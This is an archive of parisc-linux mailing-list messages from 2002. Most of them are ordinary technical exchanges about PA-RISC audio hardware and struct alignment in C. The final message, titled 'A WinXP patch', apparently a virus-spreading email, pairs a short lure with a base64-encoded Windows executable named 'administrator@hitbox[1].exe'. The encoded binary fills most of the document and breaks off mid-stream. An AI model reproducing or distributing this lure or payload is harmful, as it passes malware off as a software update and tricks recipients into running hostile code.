List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15965

On Thu, 2002-08-29 at 18:28, John Marvin wrote:
 
> FYI, The 720, 725, 730, 735, 750 & 755 don't have any kind of audio (although
> there is a graphics card with onboard CD quality audio that was made for the
> 715s and 715t models that can also be put into these machines).

A 735/99 I use has audio sufficient to play mp3's at good sound quality
using alsaplayer; I assume this is Harmony hardware.  Not part of a
framebuffer card.

-- SP




From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Fri, 30 Aug 2002 17:10:43 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020830171043.B28676@parcelfarce.linux.theplanet.co.uk>
References: <200208292228.QAA23496@udlkern.fc.hp.com> <1030723367.1100.401.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621667 13167 80.91.229.3 (22 Nov 2014 02:01:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 10:10:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DE384829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 10:10:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17koM7-0006Bi-00; Fri, 30 Aug 2002 17:10:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1030723367.1100.401.camel@romano>; from spacenka@lightlink.com on Fri, Aug 30, 2002 at 12:02:47PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15966

On Fri, Aug 30, 2002 at 12:02:47PM -0400, Steve Pacenka wrote:
> On Thu, 2002-08-29 at 18:28, John Marvin wrote:
>  
> > FYI, The 720, 725, 730, 735, 750 & 755 don't have any kind of audio (although
> > there is a graphics card with onboard CD quality audio that was made for the
> > 715s and 715t models that can also be put into these machines).
> 
> A 735/99 I use has audio sufficient to play mp3's at good sound quality
> using alsaplayer; I assume this is Harmony hardware.  Not part of a
> framebuffer card.

i believe jsm is mistaken about the 735 & 755.  735 used the followon
chip from Asp and would surely have had the same sound abilities as the
715/Scorpio.  the harmony driver should stop claiming the 705/710 audio
though (an easy change to make).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Fri, 30 Aug 2002 13:03:29 -0400 (EDT)
Lines: 57
Approved: news@gmane.org
Message-ID: <200208301703.g7UH3TqX029540@hiauly1.hia.nrc.ca>
References: <3D3815BD00009582@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621667 13171 80.91.229.3 (22 Nov 2014 02:01:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 11:03:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 204764829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 11:03:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7UH3U00029541;
	Fri, 30 Aug 2002 13:03:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7UH3TqX029540;
	Fri, 30 Aug 2002 13:03:29 -0400 (EDT)
In-Reply-To: <3D3815BD00009582@ocpmta5.be.tiscali.com> from "jsoe0708@tiscali.be" at Aug 30, 2002 07:46:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15967

> >> p is of type partition define as follow:
> >> struct partition {
> >>     unsigned char boot_ind;     /* 0x80 - active */
> >>     unsigned char head;     /* starting head */
> >>     unsigned char sector;       /* starting sector */
> >>     unsigned char cyl;      /* starting cylinder */
> >>     unsigned char sys_ind;      /* What partition type */
> >>     unsigned char end_head;     /* end head */
> >>     unsigned char end_sector;   /* end sector */
> >>     unsigned char end_cyl;      /* end cylinder */
> >>     unsigned int start_sect;    /* starting sector counting from 0 */
> >>     unsigned int nr_sects;      /* nr of sectors in partition */
> >> };
> >
> >The problem is that a struct of the above type is being allocated
> >at an unaligned address.
> 
> Sorry I do not understand, can you tell me more or where can I found additional

You may be able to find a copy of WG14/N869 (Committee Draft -- January 18,
1999) on the web.  It is a draft version of the ISO C standard.  Section
6.7.2.1 describes struct and union types.

In general, the C standard doesn't define the representation used for
objects.  However, the alignment requirement of field members (except
bit fields) is the same as its type when not in a struct or union.
The PA implementation uses a strict "natural" alignment for types.
E.g., 4 byte integers are aligned to 4 byte boundaries.  Multiple
instructions are needed for unaligned data access on the PA.

A pointer to a struct points to the initial member (ie., there is no
padding before the first member).

The above struct starts with an unsigned char type so as far as the
standard goes it could start at any byte.  Note that it contains int
types, so that if it didn't start on a 4 byte boundary, there would
have to be padding after the last char field.  If the struct was given
"char" alignment, then different code would be needed to access members
when it was and wasn't aligned to a 4 byte boundary.  To minimize
problems of this nature, gcc aligns structs based on the largest
alignment requirement of all its members.

The code generated by gcc will not properly access fields of a struct
that isn't properly aligned.  Thus, you will need to try and find
out why in this particular case the struct isn't aligned and correct
the problem.  It might be a malloc problem or data read into an
arbitrary location.

Because the initial field of the struct is an unsigned char type,
the cast to uint32_t is wrong.  The code is making implementation
dependent assumptions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A  WinXP patch
Date: Fri, 30 Aug 2002 13:20:50 -0500
Lines: 1805
Approved: news@gmane.org
Message-ID: <20020830182048.JIDF10030.out004.verizon.net@Egpd>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=J27QeGz32390h4B
X-Trace: ger.gmane.org 1416621668 13174 80.91.229.3 (22 Nov 2014 02:01:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 12:20:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out004.verizon.net (out004pub.verizon.net [206.46.170.142])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFD2D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 12:20:56 -0600 (MDT)
Original-Received: from Egpd ([63.217.189.66]) by out004.verizon.net
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with SMTP
          id <20020830182048.JIDF10030.out004.verizon.net@Egpd>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 30 Aug 2002 13:20:48 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15968

--J27QeGz32390h4B
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>

<FONT>Hello,This is a  WinXP patch<br>
I expect you would like it.</FONT></BODY></HTML>

--J27QeGz32390h4B
Content-Type: application/octet-stream;
	name=administrator@hitbox[1].exe
Content-Transfer-Encoding: base64
Content-ID: <I9E94483218x90Y0>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF
EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm
q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM
K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK
BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L
FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G
BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD
K0X4mff/hdJ1DsYEMw1DxgQzCkODRfgCD7bBiw0w8EAAigQIiAQzQ4N99AF/BcZEM/89i3Xs
g8YDg23wA4l17OmI/v//X4vDXlvJw1WL7IHsEAEAAINl+ACNRfxQagRoUgJBAOjJIgAAWVlQ
aAIAAID/FUzQQACFwA+FtwAAAFNWV7uLCUEAUFPo1CIAAFmJRfRZjYXw/v//aAQBAABQ/3X4
/3X8/xVQ0EAAhcB1e42F8P7//1DowbUAADP/WTl99H5fV1PoaCIAAFCNhfD+//9Q6GUqAACD
xBCFwHQ+aJMLQQD/FfTQQACL8IX2dC1qAmiTDEEA6DciAABZWVBW/xU40UAAhcB0DI2N8P7/
/1H/dfz/0Fb/FfDQQABHO330fKH/Rfjpaf////91/P8VXNBAAF9eW8nDVYvsgewUCAAAjUUM
VoNl/ABQ/3UMvgAEAACJdfSJdfj/dQj/FUzQQACFwHQHM8Dp7AAAAFNXv4sJQQBqAFfo5yEA
AFmJRQhZjUX4M9tQjYXs9///UI1F8FCNRfRTUI2F7Pv//4l19FCJdfj/dfz/dQz/FUTQQACF
wA+FlAAAAIN98AF0BiCF7Pf//42F7Pv//1DorbQAAI2F7Pf//1DoobQAAIN9CABZWX5gU1fo
SCEAAIlF7FCNhez7//9Q6EIpAACDxBCFwHUs/3XsjYXs9///UOgsKQAAWYXAWXUXjYXs+///
aDTwQABQ6O1iAABZhcBZdRCNhez7//9Q/3UM/xVU0EAAQztdCHyg/0X86TX/////dQz/FVzQ
QABfM8BbXsnCCABVi+yB7AACAABW6OD9//+NhQD+//9qAlDoHSkAAFmNhQD+//9ZvgIAAIBQ
Vuiq/v//jYUA/v//agZQ6PsoAABZjYUA/v//WVBW6I3+//9eycNVi+yB7EQEAABTaMDwQADo
MmQAADPbxwQkBA5BAFOJRezoKUAAAFNoxQtBAOiDIAAAg8QQiUX8jYW8+///aAQBAABQU/8V
FNFAAP91CMeFwPz//yQCAABqCOjsYQAAjY3A/P//iUXoUVDo1mEAAIXAD4R/AQAAjYXg/f//
UI2F5P7//1DozWIAAI2F5P7//1CNhbz7//9Q6Iq0AACDxBCFwA+ETgEAAP+1yPz//1No/w8f
AP8VINFAADvDiUX0D4QxAQAAVr4AAAgAV1a/0DFBAFNX6B5iAACLhdj8//+DxAw7xnICi8Y5
XQyJXfh1HY1N+FFQV/+11Pz///919P8VGNFAAIXAD4TbAAAAOV38iV0ID4bPAAAA/3UIaMUL
QQDoXx8AAFCJRfDoGGMAADP2g8QMOXUMi9h0CI1DbolF+OsDi0X4K8OD6AoPhIgAAAD/deyN
vtAxQQBXaMDwQADoErMAAIPEDIXAdGaDfQwAdSBTV/918Oj7sgAAg8QMhcB0D4tF+EYrw4Po
CjvwcsHrR2oA/3X0/xUo0UAAajL/FSzRQABqAWjwDUEA6NQeAABQjYXk/v//UOjRJgAAg8QQ
hcB1DY2F5P7//1DoOykAAFmLRfxAiUUI/0UIi0UIO0X8D4Ix/////3X0/xUk0UAAagFbX17/
dej/FSTRQACLw1vJwggAVYvsgew4AgAAU1ZXal9eM9tTaIsJQQDokx4AAFmJRfxZjUYBamSZ
Wff5agpZi8KJRfiZ9/mF0nUF6Gz9//9TagLHhcz+//8oAQAA6PVfAACNjcz+//+JRfRRUOjx
XwAAhcAPhKcAAACNhcj9//9TUFONhfD+//9TUOg+YgAAjYXI/f//UOg/sQAAg8QYOV34dQxT
/7XU/v//6F39//8z/zP2OV38fk5WaIsJQQDozR0AAFCNhcj9//9Q6GKyAACDxBCFwHUli0X8
SDvwdQg5HQA5SQB0FWoBX1f/tdT+///oFv3//4k9PBNBAEY7dfx8tjv7dQaJHTwTQQCNhcz+
//9Q/3X06EFfAADpUf////919P8VJNFAADkd8DhJAHQcaOQ1SQBo3DNJAGjgNEkAaAIAAIDo
Ey8AAIPEEGpk/xUs0UAAi3X46dX+//+LwcNVi+xRUVNWV2oCWovxagQz/zl9EFm4AAAAgIva
iU34iX38iT6JfgSJfgh1CrgAAADAi9mJVfg5fQh0NVdqIGoDV2oBUP91CP8V/NBAAIP4/4kG
dF2NTfxRUP8V7NBAADl9/IlGDHUdi00MO890AokBV1dXU1f/Nv8VBNFAADvHiUYEdQr/Nv8V
JNFAAOsjV1dX/3X4UP8VCNFAADvHiUYIdRH/dgSLPSTRQAD/1/82/9czwF9eW8nCDABWi/FX
i0YIhcB0B1D/FfjQQACLRgSLPSTRQACFwHQDUP/XiwaFwHQDUP/XgyYAg2YEAINmCABfXsNT
Vot0JAwz21dT6GYvAACD4AFqB4mGHAkAAGomjYa4CAAAagpQ6MQeAACDxBQ4Heg2SQB0E42G
tAcAAGjoNkkAUOjJXgAAWVlW6I8BAAAPvoYsAQAAjb4sAQAAUOhgYQAAOJ6sAQAAWVmIB3UK
x4YcCQAAAQAAADiesAYAAI2+sAYAAHUfagH/tiAJAABo3AFBAOimGwAAWVlQU1fofykAAIPE
EF9eW8NVi+yD7BxTVo1F5FdQ/xXY0EAAM9u+5gZBAFNW6KQbAABZO8NZiUX0D44AAQAAvxjS
QAAzwIH/KNJAAA+dwEiLD4PgColN/IPABYlN+PfYUI1F/FDoMzIAAFlZZotN+GY5Tfx+CWaD
wQxmg0X6Hg+3ReYPv1X8O9B/HQ+/yTvBfxYPt0XqD79N/jvIfwoPv036QUE7wX4JQ4PHBDtd
9HyTO130D42FAAAAU1bo5RoAAGoAi9joFC4AAIvwi0UIg+YBVmhmB0EAjbgsAQAA6MMaAABQ
V+iOXQAAagDo7S0AAIPEIDPSagNZ9/GF0nQEhfZ0LmoA6NQtAABqBjPSWffxUmikA0EA6Ioa
AABQV+hlXQAAaDjwQABX6FpdAACDxBxTV+hQXQAAWVlqAVjrAjPAX15bycNVi+yB7AgMAABT
Vot1CI2F+Pf//1dQjYX48///M9tQjUZkUIld/Iid+PP//+hpIQAAjYasAQAAU4lF+GjcAUEA
iBiNhiwBAACInVz0//+Infj7//+JRQiIGIiesAYAAOgsGgAAU4v46CwtAAAz0lP394mWIAkA
